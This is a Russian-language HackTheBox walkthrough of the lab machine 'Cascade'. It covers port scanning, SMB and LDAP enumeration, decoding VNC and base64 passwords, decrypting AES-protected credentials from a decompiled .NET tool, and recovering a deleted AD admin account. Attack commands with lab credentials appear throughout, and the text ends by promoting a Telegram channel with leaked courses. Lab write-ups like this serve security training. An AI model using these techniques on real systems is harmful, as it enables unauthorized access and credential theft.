Pull to refresh

HackTheBox. Прохождение Cascade. LDAP и удаленные объекты Active Directory

Reading time 3 min
Views 4.1K

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.

В данной статье мы покопаемся в LDAP, декодируем VNC пароль, декомпилируем приложения dotNet, легко расшифровываем AES и восстанавливаем удаленные объекты Active Directory.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.182, который я добавляю в /etc/hosts.

10.10.10.182	cascade.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182      --rate=500



На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.

nmap cascade.htb -p49172,49157,49154,135,53,5985,636,389,139,49155,445,3269,3268,49158,88



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A cascade.htb -p49172,49157,49154,135,53,5985,636,389,139,49155,445,3269,3268,49158,88



Как обычно, первым делом начинаем с перечисления SMB — enum4linux.

enum4linux -a cascade.htb





Сохраняем себе список пользователей и членство их в группах. Посмотрим, что нам может предложить LDAP.

Entry Point


Для работы с LDAP используем JXplorer. Подключимся и посмотрим все объекты.



И у пользователя Ryan Thompson находим атрибут cascadeLegacyPwd.



Декодируем base64 и получаем пароль.



USER


Раз мы нашли учетные данные, давайте посмотрим доступные нам SMB ресурсы c помощью CrackMapExec.

cme smb cascade.htb -u "r.thompson" -p "rY4n5eva" --shares



Подключимся к ресурсу Data.

smbclient -U r.thompson //10.10.10.182/Data



Давайте просмотрим все что есть рекурсивно.



А теперь скачаем и посмотрим эти файлы.

get "IT\Email Archives\Meeting_Notes_June_2018.html"
get "IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log"
get IT\Logs\DCs\dcdiag.log
get "IT\Temp\s.smith\VNC Install.reg"

В первом файле говорят о переносе сети и о том, что пароль TempAdmin совпадает с паролем обычного админа.



Из второго файла отметим для себя права пользователя ArkSvc.



В третьем файле ничего интересного. А вот в четвертом находим VNC пароль для пользователя s.smith.



Декодируем его с помощью vncpasswd. Указываем, что хотим декодировать пароль (-d) и передаем его в Hex виде.

vncpasswd.py -d -H 6bcf2a4b6e5aca0f



Если посмотреть вывод enum4linux, увидим, что данный пользователь является членом групп Remote Management Users. Попробуем зайти через службу winrm с данным паролем.

evil-winrm -i cascade.htb -u s.smith -p sT333ve2



USER 2


Посмотрим SMB ресурсы данного пользователя:

cme smb cascade.htb  -u s.smith -p sT333ve2 --shares



Доступен ресурс Audit$.

smbclient -U s.smith //10.10.10.182/Audit$



Давайте загрузим все, что есть.



Среди загруженных файлов имеется база данных, открыв ее можно нати учетные данные в таблице LDAP.



Но они никуда не подходят, видимо пароль зашифрован, а расшифровывается с помощью программы. При этом имется CascCrypto.dll. При этом и программа и библиотека написаны на C#.



Декомпилируем программу с помощью dnSpy. Находим место, где из базы считывается пароль и передается в функцию расшифровывания. Там же передается ключ.



Декомпилировав библиотеку, узнаем режим шифрования и вектор инициализации.



Таким образом, имеем следующие параметры:



Теперь нужно расшифровать. Сделаем это на сайте CyberChef.



И мы получаем пароль. Как следует из enum4linux, данный пользователь состоит в группах Remote Management Users и AD Recycle Bin. Как можно помнить, данный пользователь был нужен для переноса объектов. А у пользователя TempAdmin такой же пароль, как и у администратора. Но он был удален.

Давайте посмотрим удаленные объекты.

Get-ADObject -IncludeDeletedObjects -Filter {IsDeleted -eq $True}



И находим тот объект который искали. Давайте получим его атрибуты.

Get-ADObject -Filter {SamAccountName -eq 'TempAdmin'} -IncludeDeletedObjects -Properties *



И декодируем пароль.



Подключимся к WinRM и заберем флаг.

evil-winrm -i cascade.htb -u Administrator -p baCT3r1aN00dles



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Tags:
Hubs:
+5
Comments 0
Comments Leave a comment

Articles